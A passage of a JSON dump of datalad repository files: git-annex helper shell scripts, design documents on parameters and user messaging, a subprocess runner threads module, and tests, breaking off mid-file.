Python\\\", alt)\\n assert_not_in(\\\"just for the command line\\\", alt)\\n assert_not_in(\\\"multiline cli-only with [ brackets\\\\n[] ]\\\", alt)\\n assert_in(\\\"multiline\\\\npython-only with [ brackets [] ]\\\", alt)\\n\\n altpd = alter_interface_docs_for_api(demo_paramdoc)\\n assert_not_in(\\\"PY\\\", altpd)\\n assert_not_in(\\\"CMD\\\", altpd)\\n assert_in('python', altpd)\\n assert_in('in between', altpd)\\n assert_in('appended', altpd)\\n assert_in(\\\"multiline\\\\n python-only with [ some brackets []\\\", altpd)\\n assert_not_in('cmdline', altpd)\\n assert_not_in(\\\"multiline cli-only [\\\\n brackets included \\\"\\n \\\"[ can we also have || ?]\\\", altpd)\\n\"\n },\n {\n \"alpha_fraction\": 0.634854793548584,\n \"alphanum_fraction\": 0.6514523029327393,\n \"avg_line_length\": 25.77777862548828,\n \"blob_id\": \"9721f57a9a585cb7efdceedf43c608ed057402bb\",\n \"content_id\": \"180e32f1f5783ca07599f08ba55c0ba27ab73f3c\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 241,\n \"license_type\": \"permissive\",\n \"max_line_length\": 64,\n \"num_lines\": 9,\n \"path\": \"/tools/bisect-git-annex.scripts/bisect-git-annex-doublepasswd.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\nset -eu\\n\\nerr=\\\"thread blocked indefinitely\\\"\\n\\ncd ~/QA\\n# script doesn't work in a script since probably no tty\\ntimeout 10 script -f -c 'git annex get -J2 sub-*' || :\\ntest 1 -eq `sed -e 's, ,\\\\n,g' typescript | grep -c 'password:' `\\n\"\n },\n {\n \"alpha_fraction\": 0.6000000238418579,\n \"alphanum_fraction\": 0.6068181991577148,\n \"avg_line_length\": 27.387096405029297,\n \"blob_id\": \"9a8cba925d0622b51912cbf98a307521498c2182\",\n \"content_id\": \"fec42f32c500b7a4b29b65b617c0ce343b6a09ca\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 880,\n \"license_type\": \"permissive\",\n \"max_line_length\": 64,\n \"num_lines\": 31,\n \"path\": \"/tools/convert-git-annex-layout\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n\\nset -eu\\n\\nto=\\\"$1\\\"\\n\\necho \\\"Initial fsck:\\\"\\ngit annex fsck --fast 2>&1 | python -m tqdm --null\\necho \\\"Going through objects: \\\"\\nfor f in .git/annex/objects/*/*/*; do\\n key=$(basename $f)\\n keydir=$(dirname $f)\\n newhashdir=$(git annex examinekey --format=\\\"\\\\${$to}\\\" \\\"$key\\\")\\n targetdir=\\\".git/annex/objects/$newhashdir\\\"\\n test -n \\\"$newhashdir\\\"\\n if [ \\\"$keydir\\\" = \\\"${targetdir%/}\\\" ]; then\\n continue\\n fi\\n echo \\\" $f -> $newhashdir\\\"\\n # This was a wrong assumption - there could be multiple\\n # keys in the same directory so we might have it already.\\n # But I still feel we might need some test here\\n #if test -e \\\"$targetdir\\\"; then\\n # echo \\\"$targetdir already exists\\\"\\n # exit 1\\n #fi\\n mkdir -p \\\"$(dirname $targetdir)\\\"\\n mv \\\"$keydir\\\" \\\"${targetdir%/}\\\"\\ndone\\necho \\\"Final fsck:\\\"\\ngit annex fsck --fast 2>&1 | python -m tqdm --null\\n\"\n },\n {\n \"alpha_fraction\": 0.7210769653320312,\n \"alphanum_fraction\": 0.7269667387008667,\n \"avg_line_length\": 45.6274528503418,\n \"blob_id\": \"e2efe806cd704b056b81bfc6bbe2594e25801d91\",\n \"content_id\": \"9ba1161e4fc4d2071212f6af8a0fe14600956792\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 2377,\n \"license_type\": \"permissive\",\n \"max_line_length\": 117,\n \"num_lines\": 51,\n \"path\": \"/docs/source/design/pos_vs_kw_parameters.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_pos_vs_kw_parameters:\\n\\n********************************\\nPositional vs Keyword parameters\\n********************************\\n\\n.. topic:: Specification scope and status\\n\\n This specification is a proposal, subject to review and further discussion.\\n Technical preview was implemented in the `PR #6176 <https://github.com/datalad/datalad/pull/6176>`_.\\n\\nMotivation\\n==========\\n\\nPython allows for keyword arguments (arguments with default values) to be specified positionally.\\nThat complicates addition or removal of new keyword arguments since such changes must account for their possible\\npositional use.\\nMoreover, in case of our Interface's, it contributes to inhomogeneity since when used in :term:`CLI`, all keyword\\narguments\\nmust be specified via non-positional ``--<option>``'s, whenever Python interface allows for them to be used\\npositionally.\\n\\nPython 3 added possibility to use a ``*`` separator in the function definition to mandate that all keyword arguments\\n*after* it must be be used only via keyword (``<option>=<value>``) specification.\\nIt is encouraged to use ``*`` to explicitly separate out positional from keyword arguments in majority of the cases,\\nand below we outline two major types of constructs.\\n\\nInterfaces\\n==========\\n\\nSubclasses of the :class:`~datalad.interface.base.Interface` provide specification and implementation for both\\n:term:`CLI` and Python API interfaces.\\nAll new interfaces must separate all CLI ``--options`` from positional arguments using ``*`` in their ``__call__``\\nsignature.\\n\\n**Note:** that some positional arguments could still be optional (e.g., destination ``path`` for ``clone``),\\nand thus should be listed **before** ``*``, despite been defined as a keyword argument in the ``__call__`` signature.\\n\\nA unit-test will be provided to guarantee such consistency between :term:`CLI` and Python interfaces.\\nOverall, exceptions to this rule could be only some old(er) interfaces.\\n\\nRegular functions and methods\\n=============================\\n\\nUse of ``*`` is encouraged for any function (or method) with keyword arguments.\\nGenerally, ``*`` should come before the first keyword argument, but similarly to the Interfaces above, it is left to\\nthe discretion of the developer to possibly allocate some (just few) arguments which could be used positionally if\\nspecified.\"\n },\n {\n \"alpha_fraction\": 0.54513019323349,\n \"alphanum_fraction\": 0.545923113822937,\n \"avg_line_length\": 28.443580627441406,\n \"blob_id\": \"39bba393fb5c6638204e60b245c3772f147b3651\",\n \"content_id\": \"8b11e3fe4bc62257ce7bd3635770d3a187ef78ad\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 7567,\n \"license_type\": \"permissive\",\n \"max_line_length\": 82,\n \"num_lines\": 257,\n \"path\": \"/datalad/runner/runnerthreads.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from __future__ import annotations\\n\\nimport logging\\nimport os\\nimport threading\\nfrom abc import (\\n ABCMeta,\\n abstractmethod,\\n)\\nfrom enum import Enum\\nfrom queue import (\\n Full,\\n Queue,\\n)\\nfrom subprocess import Popen\\nfrom typing import (\\n IO,\\n Any,\\n Optional,\\n)\\n\\nfrom datalad.utils import COPY_BUFSIZE\\n\\nlgr = logging.getLogger(\\\"datalad.runner.runnerthreads\\\")\\n\\n\\ndef _try_close(file_object: Optional[IO]) -> None:\\n if file_object is not None:\\n try:\\n file_object.close()\\n except OSError:\\n pass\\n\\n\\nclass IOState(Enum):\\n ok = \\\"ok\\\"\\n process_exit = \\\"process_exit\\\"\\n\\n\\nclass SignalingThread(threading.Thread):\\n def __init__(self,\\n identifier: str,\\n signal_queues: list[Queue[tuple[Any, IOState, Optional[bytes]]]]\\n ) -> None:\\n\\n super().__init__(daemon=True)\\n self.identifier = identifier\\n self.signal_queues = signal_queues\\n\\n def __repr__(self) -> str:\\n return f\\\"Thread<{self.identifier}>\\\"\\n\\n def __str__(self) -> str:\\n return self.__repr__()\\n\\n def signal(self,\\n content: tuple[Any, IOState, Optional[bytes]]\\n ) -> bool:\\n error_occurred = False\\n for signal_queue in self.signal_queues:\\n try:\\n signal_queue.put(content, block=True, timeout=.1)\\n except Full:\\n lgr.debug(\\\"timeout while trying to signal: %s\\\", content)\\n error_occurred = True\\n return not error_occurred\\n\\n\\nclass WaitThread(SignalingThread):\\n \\\"\\\"\\\"\\n Instances of this thread wait for a process to exit and enqueue\\n an exit event in the signal queues.\\n \\\"\\\"\\\"\\n def __init__(self,\\n identifier: str,\\n signal_queues: list[Queue[tuple[Any, IOState, Optional[bytes]]]],\\n process: Popen\\n ) -> None:\\n super().__init__(identifier, signal_queues)\\n self.process = process\\n\\n def run(self) -> None:\\n\\n lgr.log(5, \\\"%s (%s) started\\\", self.identifier, self)\\n\\n self.process.wait()\\n self.signal((self.identifier, IOState.process_exit, None))\\n\\n lgr.log(5, \\\"%s (%s) exiting\\\", self.identifier, self)\\n\\n\\nclass ExitingThread(SignalingThread):\\n def __init__(self,\\n identifier: str,\\n signal_queues: list[Queue[tuple[Any, IOState, Optional[bytes]]]]\\n ) -> None:\\n\\n super().__init__(identifier, signal_queues)\\n self.exit_requested = False\\n\\n def request_exit(self) -> None:\\n \\\"\\\"\\\"\\n Request the thread to exit. This is not guaranteed to\\n have any effect, because the instance has to check for\\n self.exit_requested and act accordingly. It might not\\n do that.\\n \\\"\\\"\\\"\\n self.exit_requested = True\\n\\n\\nclass TransportThread(ExitingThread, metaclass=ABCMeta):\\n def __init__(self,\\n identifier: str,\\n signal_queues: list[Queue[tuple[Any, IOState, Optional[bytes]]]],\\n user_info: Any\\n ) -> None:\\n\\n super().__init__(identifier, signal_queues)\\n self.user_info = user_info\\n\\n def __repr__(self) -> str:\\n return f\\\"Thread<({self.identifier}, {self.user_info})>\\\"\\n\\n def __str__(self) -> str:\\n return self.__repr__()\\n\\n def signal_event(self,\\n state: IOState,\\n data: Optional[bytes]\\n ) -> bool:\\n return self.signal((self.user_info, state, data))\\n\\n @abstractmethod\\n def read(self) -> Optional[bytes]:\\n \\\"\\\"\\\"\\n Read data from source return None, if source is close,\\n or destination close is required.\\n \\\"\\\"\\\"\\n raise NotImplementedError\\n\\n @abstractmethod\\n def write(self,\\n data: bytes\\n ) -> bool:\\n \\\"\\\"\\\"\\n Write given data to destination, return True if data is\\n written successfully, False otherwise.\\n \\\"\\\"\\\"\\n raise NotImplementedError\\n\\n def run(self) -> None:\\n\\n lgr.log(5, \\\"%s (%s) started\\\", self.identifier, self)\\n\\n # Copy data from source queue to destination queue\\n # until exit is requested. If timeouts arise, signal\\n # them to the receiver via the signal queue.\\n data: Optional[bytes] = b\\\"\\\"\\n while not self.exit_requested:\\n\\n data = self.read()\\n # If the source sends None-data it wants\\n # us to exit the thread. Signal this to\\n # the downstream queues (which might or might\\n # not be contain the output queue),\\n # and exit the thread.\\n if data is None:\\n break\\n\\n if self.exit_requested:\\n break\\n\\n succeeded = self.write(data)\\n if not succeeded:\\n break\\n\\n self.signal_event(IOState.ok, None)\\n lgr.log(\\n 5,\\n \\\"%s (%s) exiting (exit_requested: %s, last data: %s)\\\",\\n self.identifier,\\n self,\\n self.exit_requested, data)\\n\\n\\nclass ReadThread(TransportThread):\\n def __init__(self,\\n identifier: str,\\n signal_queues: list[Queue[tuple[Any, IOState, Optional[bytes]]]],\\n user_info: Any,\\n source: IO,\\n destination_queue: Queue[tuple[Any, IOState, bytes]],\\n length: int = COPY_BUFSIZE\\n ) -> None:\\n\\n super().__init__(identifier, signal_queues, user_info)\\n self.source = source\\n self.destination_queue = destination_queue\\n self.length = length\\n\\n def read(self) -> Optional[bytes]:\\n try:\\n data = os.read(self.source.fileno(), self.length)\\n except (ValueError, OSError):\\n # The destination was most likely closed, nevertheless,\\n # try to close it and indicate EOF.\\n _try_close(self.source)\\n return None\\n return data or None\\n\\n def write(self,\\n data: bytes\\n ) -> bool:\\n\\n # We write to an unlimited queue, no need for timeout checking.\\n self.destination_queue.put((self.user_info, IOState.ok, data))\\n return True\\n\\n\\nclass WriteThread(TransportThread):\\n def __init__(self,\\n identifier: str,\\n signal_queues: list[Queue[tuple[Any, IOState, Optional[bytes]]]],\\n user_info: Any,\\n source_queue: Queue[Optional[bytes]],\\n destination: IO\\n ) -> None:\\n\\n super().__init__(identifier, signal_queues, user_info)\\n self.source_queue = source_queue\\n self.destination = destination\\n\\n def read(self) -> Optional[bytes]:\\n data = self.source_queue.get()\\n if data is None:\\n # Close stdin file descriptor here, since we know that no more\\n # data will be sent to stdin.\\n _try_close(self.destination)\\n return data\\n\\n def write(self,\\n data: bytes,\\n ) -> bool:\\n try:\\n written = 0\\n while written < len(data):\\n written += os.write(\\n self.destination.fileno(),\\n data[written:])\\n if self.exit_requested:\\n return written == len(data)\\n except (BrokenPipeError, OSError, ValueError):\\n # The destination was most likely closed, nevertheless,\\n # try to close it and indicate EOF.\\n _try_close(self.destination)\\n return False\\n return True\\n\"\n },\n {\n \"alpha_fraction\": 0.7488971948623657,\n \"alphanum_fraction\": 0.7697658538818359,\n \"avg_line_length\": 46.15999984741211,\n \"blob_id\": \"45c86625701b49397391a61555edcd82a15234ac\",\n \"content_id\": \"eda104eaa60a1968a0a91736a1336e040895eca0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 5894,\n \"license_type\": \"permissive\",\n \"max_line_length\": 143,\n \"num_lines\": 125,\n \"path\": \"/docs/source/design/user_messaging.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_design_user_messaging:\\n\\n*******************************************************\\nUser messaging: result records vs exceptions vs logging\\n*******************************************************\\n\\n.. topic:: Specification scope and status\\n\\n This specification provides a partial overview of the implementation goal.\\n\\nMotivation\\n==========\\n\\nThis specification delineates the applicable contexts for using\\n:ref:`result records <chap_design_result_records>`, :ref:`exceptions <chap_design_exception_handling>`,\\n:ref:`progress reporting <chap_design_progress_reporting>`, specific :ref:`log levels <chap_design_log_levels>`,\\nor other types of user messaging processes.\\n\\n\\nSpecification\\n=============\\n\\nResult records\\n--------------\\n\\n**Result records are the only return value format** for all DataLad interfaces.\\n\\nContrasting with classic Python interfaces that return specific non-annotated values,\\nDataLad interfaces (i.e. subclasses of :py:class:`datalad.interface.base.Interface`)\\nimplement message passing by yielding :ref:`result records <chap_design_result_records>`\\nthat are associated with individual operations. Result records are routinely inspected throughout\\nthe code base and their annotations are used to inform general program flow and error handling.\\n\\nDataLad interface calls can include an ``on_failure`` parameterization to specify how to\\nproceed with a particular operation if a returned result record is\\n:ref:`classified as a failure result <target-result-status>`. DataLad interface calls can\\nalso include a ``result_renderer`` parameterization to explicitly enable or\\ndisable the rendering of result records.\\n\\nDevelopers should be aware that external callers will use DataLad interface call parameterizations\\nthat can selectively ignore or act on result records, and that the process should therefore\\nyield meaningful result records. If, in turn, the process itself receives a set of result\\nrecords from a sub-process, these should be inspected individually in order to identify result\\nvalues that could require re-annotation or status re-classification.\\n\\nFor user messaging purposes, result records can also be enriched with additional human-readable\\ninformation on the nature of the result, via the ``message`` key, and human-readable hints to\\nthe user, via the ``hints`` key. Both of these are rendered via the `UI Module`_.\\n\\n\\nException handling\\n------------------\\n\\nIn general, **exceptions should be raised when there is no way to ignore or recover from\\nthe offending action**.\\n\\nMore specifically, raise an exception when:\\n\\n1. A DataLad interface's parameter specifications are violated\\n2. An additional requirement (beyond parameters) for the meaningful continuation of a\\n DataLad interface, function, or process is not met\\n\\nIt must be made clear to the user/caller what the exact cause of the exception\\nis, given the context within which the user/caller triggered the action.\\nThis is achieved directly via a (re)raised exception, as opposed to logging messages or\\nresults records which could be ignored or unseen by the user.\\n\\n.. note::\\n In the case of a complex set of dependent actions it could be expensive to\\n confirm parameter violations. In such cases, initial sub-routines might already generate\\n result records that have to be inspected by the caller, and it could be practically better\\n to yield a result record (with ``status=[error|impossible]``) to communicate the failure.\\n It would then be up to the upstream caller to decide whether to specify\\n ``on_failure='ignore'`` or whether to inspect individual result records and turn them\\n into exceptions or not.\\n\\n\\nLogging\\n-------\\n\\nLogging provides developers with additional means to describe steps in a process,\\nso as to **allow insight into the program flow during debugging** or analysis of e.g.\\nusage patterns. Logging can be turned off externally, filtered, and redirected. Apart from\\nthe :ref:`log-level <chap_design_log_levels>` and message, it is not inspectable and\\ncannot be used to control the logic or flow of a program.\\n\\nImportantly, logging should not be the primary user messaging method for command outcomes,\\nTherefore:\\n\\n1. No interface should rely solely on logging for user communication\\n2. Use logging for in-progress user communication via the mechanism for :ref:`progress reporting <chap_design_progress_reporting>`\\n3. Use logging to inform debugging processes\\n\\n\\nUI Module\\n---------\\n\\nThe :mod:`~datalad.ui` module provides the means to communicate information\\nto the user in a user-interface-specific manner, e.g. via a console, dialog, or an iPython interface.\\nInternally, all DataLad results processed by the result renderer are passed through the UI module.\\n\\nTherefore: unless the criteria for logging apply, and unless the message to be delivered to the user\\nis specified via the ``message`` key of a result record, developers should let explicit user communication\\nhappen through the UI module as it provides the flexibility to adjust to the present UI.\\nSpecifically, :py:func:`datalad.ui.message` allows passing a simple message via the UI module.\\n\\n\\nExamples\\n========\\n\\nThe following links point to actual code implementations of the respective user\\nmessaging methods:\\n\\n- `Result yielding`_\\n- `Exception handling`_\\n- `Logging`_\\n- `UI messaging`_\\n\\n.. _Result yielding: https://github.com/datalad/datalad/blob/a8d7c63b763aacfbca15925bb1562a62b4448ea6/datalad/core/local/status.py#L402-L426\\n.. _Exception handling: https://github.com/datalad/datalad/blob/a8d7c63b763aacfbca15925bb1562a62b4448ea6/datalad/core/local/status.py#L149-L150\\n.. _Logging: https://github.com/datalad/datalad/blob/a8d7c63b763aacfbca15925bb1562a62b4448ea6/datalad/core/local/status.py#L158\\n.. _UI messaging: https://github.com/datalad/datalad/blob/a8d7c63b763aacfbca15925bb1562a62b4448ea6/datalad/core/local/status.py#L438-L457\"\n },\n {\n \"alpha_fraction\": 0.6641094088554382,\n \"alphanum_fraction\": 0.674449622631073,\n \"avg_line_length\": 26.504587173461914,\n \"blob_id\": \"93f8c0fc0f708136b607d2e85257d79b597eaa14\",\n \"content_id\": \"3efc01724ebfd29e22e3bc4e8d92f5ae4419fe3e\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 2998,\n \"license_type\": \"permissive\",\n \"max_line_length\": 89,\n \"num_lines\": 109,\n \"path\": \"/tools/mimic_merges\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n#emacs: -*- mode: shell-script; c-basic-offset: 4; tab-width: 4; indent-tabs-mode: t -*- \\n#ex: set sts=4 ts=4 sw=4 noet:\\n#\\n#\\n# COPYRIGHT: Yaroslav Halchenko 2014\\n#\\n# LICENSE: MIT\\n#\\n# Permission is hereby granted, free of charge, to any person obtaining a copy\\n# of this software and associated documentation files (the \\\"Software\\\"), to deal\\n# in the Software without restriction, including without limitation the rights\\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\\n# copies of the Software, and to permit persons to whom the Software is\\n# furnished to do so, subject to the following conditions:\\n#\\n# The above copyright notice and this permission notice shall be included in\\n# all copies or substantial portions of the Software.\\n#\\n# THE SOFTWARE IS PROVIDED \\\"AS IS\\\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\\n# THE SOFTWARE.\\n#\\n\\nset -eu\\n\\ndepth=5\\n# precreate associative array with directory names\\ndeclare -A dirs\\ndirs[\\\"0\\\"]='.'\\ndname=.\\nfor d in `eval echo {1..$depth}`; do\\n\\techo $dname\\n\\tdname+=\\\"/d$d\\\"\\n\\tdirs[\\\"$d\\\"]=$dname\\ndone\\n\\nfunction multi_branch {\\n\\tbranches=$1\\n\\tfiles_per_branch=$2\\n annex=$3\\n\\techo \\\"Creating $branches branches with $files_per_branch per branch. annex=$annex\\\"\\n\\ti=0\\n\\tfor b in `eval echo {1..$branches}`; do\\n\\t\\tgit co -b b$b master &> /dev/null\\n\\t\\tfor f in `eval echo {1..$files_per_branch}`; do\\n\\t\\t\\t#echo -ne \\\"\\\\rFile $f\\\"\\n\\t\\t\\tfdepth=$(python -c \\\"print $i%$depth\\\")\\n\\t\\t\\tdname=${dirs[\\\"$fdepth\\\"]}\\n\\t\\t\\t#[ -e $dname ] || mkdir -p $dname\\n\\t\\t\\tfname=$dname/f$i.dat\\n\\t\\t\\techo \\\"file $i\\\" > $fname;\\n\\t\\t\\ti=$(($i+1))\\n\\t\\tdone\\n if [ $annex=1 ]; then\\n git annex add * > /dev/null;\\n else\\n git add * > /dev/null\\n fi\\n\\t\\tgit commit -m \\\"commit in branch $b\\\" >/dev/null;\\n\\tdone\\n\\techo \\\"Merging\\\"\\n\\teval \\\"git merge -m 'merging $branches together' b{1..$branches}\\\" >/dev/null\\n}\\n\\nfunction init_repo {\\n\\ttdir_=$1\\n\\tif [ -e $tdir_ ]; then\\n\\t\\tchmod +w -R $tdir_\\n\\t\\trm -r $tdir_ || :\\n\\tfi\\n\\tmkdir -p $tdir_\\n\\tcd $tdir_\\n\\tgit init\\n\\tgit annex init\\n\\ttouch .empty\\n\\tgit add .empty; git commit -m \\\"initial commit just to avoid dances with empty branches\\\"\\n\\t# precreate directories\\n\\tfor d in ${dirs[*]}; do\\n\\t\\tmkdir -p $tdir_/$d\\n\\tdone\\n}\\n\\nif [ $# -lt 2 ]; then\\n\\techo \\\"Usage: $0 nfiles_per_branch nbranches [tempdir]\\\"\\n\\texit 1\\nfi\\n\\nfilespb=$1\\nbr=$2\\nfiles=$(python -c \\\"print $filespb*$br\\\")\\n\\nif [ $# -ge 3 ]; then\\n\\ttdir=$3\\nelse\\n\\ttdir=/tmp/testdir\\nfi\\n\\nannex=0\\necho \\\"Temp path $tdir\\\"\\ninit_repo $tdir/branches; cd $tdir/branches; time multi_branch $br $filespb $annex\\ninit_repo $tdir/nobranches; cd $tdir/nobranches; time multi_branch 1 $files $annex\\n\\n#init_repo\\n#time singe_branch\\n\"\n },\n {\n \"alpha_fraction\": 0.6345177888870239,\n \"alphanum_fraction\": 0.6598984599113464,\n \"avg_line_length\": 16.81818199157715,\n \"blob_id\": \"5a69ffcd9f21bd6264f9697664497ba47c5dfca5\",\n \"content_id\": \"b6ab9cf7be778b5a311675deaaed735c548f12c6\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 197,\n \"license_type\": \"permissive\",\n \"max_line_length\": 62,\n \"num_lines\": 11,\n \"path\": \"/tools/bisect-git-annex.scripts/bisect-git-annex-lock.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\nset -eu\\n\\nerr=\\\"thread blocked indefinitely\\\"\\n\\ncd ~/QA\\ntimeout 5 git annex get -J2 sub-* 2>&1 | tee annex-get-log.txt\\nif grep -q \\\"$err\\\" annex-get-log.txt; then\\n\\techo \\\"E: $err\\\"\\n\\texit 1\\nfi\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7104895114898682,\n \"alphanum_fraction\": 0.7174825072288513,\n \"avg_line_length\": 36.6315803527832,\n \"blob_id\": \"92201b783c024544d73cce186aaa66b029e05d61\",\n \"content_id\": \"942d61603f4545a9ee5ef759937504981a95c445\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Shell\",\n \"length_bytes\": 715,\n \"license_type\": \"permissive\",\n \"max_line_length\": 151,\n \"num_lines\": 19,\n \"path\": \"/tools/ci/prep-travis-devel-annex.sh\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/bin/bash\\n\\nset -e -u\\n\\n# configure\\nsed -e 's,/debian ,/debian-devel ,g' /etc/apt/sources.list.d/neurodebian.sources.list | sudo tee /etc/apt/sources.list.d/neurodebian-devel.sources.list\\nsudo apt-get update\\n\\n# check versions\\n# devel:\\ndevel_annex_version=$(apt-cache policy git-annex-standalone | grep -B1 '/debian-devel ' | awk '/ndall/{print $1;}')\\ncurrent_annex_version=$(apt-cache policy git-annex-standalone | awk '/\\\\*\\\\*\\\\*/{print $2}')\\n\\nif dpkg --compare-versions \\\"$devel_annex_version\\\" gt \\\"$current_annex_version\\\"; then\\n sudo apt-get install \\\"git-annex-standalone=$devel_annex_version\\\"\\nelse\\n echo \\\"I: devel version $devel_annex_version is not newer than installed $current_annex_version\\\"\\n exit 99\\nfi\\n\"\n },\n {\n \"alpha_fraction\": 0.5920093655586243,\n \"alphanum_fraction\": 0.5984733700752258,\n \"avg_line_length\": 40.430198669433594,\n \"blob_id\": \"768b165271f273d9795dfbb2134d50b2eb4683d8\",\n \"content_id\": \"f2c04d794272d37ceae4f56d093eacd0164721c0\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 14542,\n \"license_type\": \"permissive\",\n \"max_line_length\": 122,\n \"num_lines\": 351,\n \"path\": \"/datalad/distributed/tests/test_ria_git_remote.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# emacs: -*- mode: python; py-indent-offset: 4; tab-width: 4; indent-tabs-mode: nil -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\n\\nimport subprocess\\n\\nfrom datalad.api import (\\n Dataset,\\n clone,\\n)\\nfrom datalad.customremotes.ria_utils import (\\n create_ds_in_store,\\n create_store,\\n get_layout_locations,\\n)\\nfrom datalad.distributed.ora_remote import (\\n LocalIO,\\n SSHRemoteIO,\\n)\\nfrom datalad.distributed.tests.ria_utils import (\\n common_init_opts,\\n populate_dataset,\\n)\\nfrom datalad.interface.results import annexjson2result\\nfrom datalad.tests.utils_pytest import (\\n assert_result_count,\\n assert_status,\\n eq_,\\n known_failure_windows,\\n skip_ssh,\\n slow,\\n with_tempfile,\\n)\\nfrom datalad.utils import (\\n Path,\\n quote_cmdlinearg,\\n)\\n\\n\\n@known_failure_windows # see gh-4469\\n@with_tempfile()\\n@with_tempfile(mkdir=True)\\ndef _test_bare_git_version_1(host, dspath, store):\\n # This test should take a dataset and create a bare repository at the remote\\n # end from it.\\n # Given, that it is placed correctly within a tree of dataset, that remote\\n # thing should then be usable as an ora-remote as well as as a git-type\\n # remote.\\n # Note: Usability of git remote by annex depends on dataset layout version\\n # (dirhashlower vs. -mixed).\\n # For version 1 (lower) upload and consumption should be\\n # interchangeable. It doesn't matter which remote is used for what\\n # direction.\\n ds_path = Path(dspath)\\n store = Path(store)\\n ds = Dataset(ds_path).create()\\n populate_dataset(ds)\\n\\n bare_repo_path, _, objdir = get_layout_locations(1, store, ds.id)\\n # Use git to make sure the remote end is what git thinks a bare clone of it\\n # should look like\\n subprocess.run(['git', 'clone', '--bare',\\n quote_cmdlinearg(str(dspath)),\\n quote_cmdlinearg(str(bare_repo_path))\\n ])\\n\\n if host:\\n url = \\\"ria+ssh://{host}{path}\\\".format(host=host,\\n path=store)\\n else:\\n url = \\\"ria+{}\\\".format(store.as_uri())\\n init_opts = common_init_opts + ['url={}'.format(url)]\\n # set up store:\\n io = SSHRemoteIO(host) if host else LocalIO()\\n create_store(io, store, '1')\\n # set up the dataset location, too.\\n # Note: Dataset layout version 1 (dirhash lower):\\n create_ds_in_store(io, store, ds.id, '1', '1', init_obj_tree=False)\\n\\n # Now, let's have the bare repo as a git remote and use it with annex\\n git_url = \\\"ssh://{host}{path}\\\".format(host=host, path=bare_repo_path) \\\\\\n if host else bare_repo_path.as_uri()\\n ds.repo.add_remote('bare-git', git_url)\\n ds.repo.enable_remote('bare-git')\\n\\n # copy files to the remote\\n ds.push('.', to='bare-git')\\n eq_(len(ds.repo.whereis('one.txt')), 2)\\n\\n # now we can drop all content locally, reobtain it, and survive an\\n # fsck\\n ds.drop('.')\\n ds.get('.')\\n assert_status('ok', [annexjson2result(r, ds) for r in ds.repo.fsck()])\\n\\n # Now, add the ora remote:\\n ds.repo.init_remote('ora-remote', options=init_opts)\\n # fsck to make availability known\\n assert_status(\\n 'ok',\\n [annexjson2result(r, ds)\\n for r in ds.repo.fsck(remote='ora-remote', fast=True)])\\n eq_(len(ds.repo.whereis('one.txt')), 3)\\n\\n # Now move content from git-remote to local and see it not being available\\n # via bare-git anymore.\\n ds.repo.call_annex(['move', '--all', '--from=bare-git'])\\n # ora-remote doesn't know 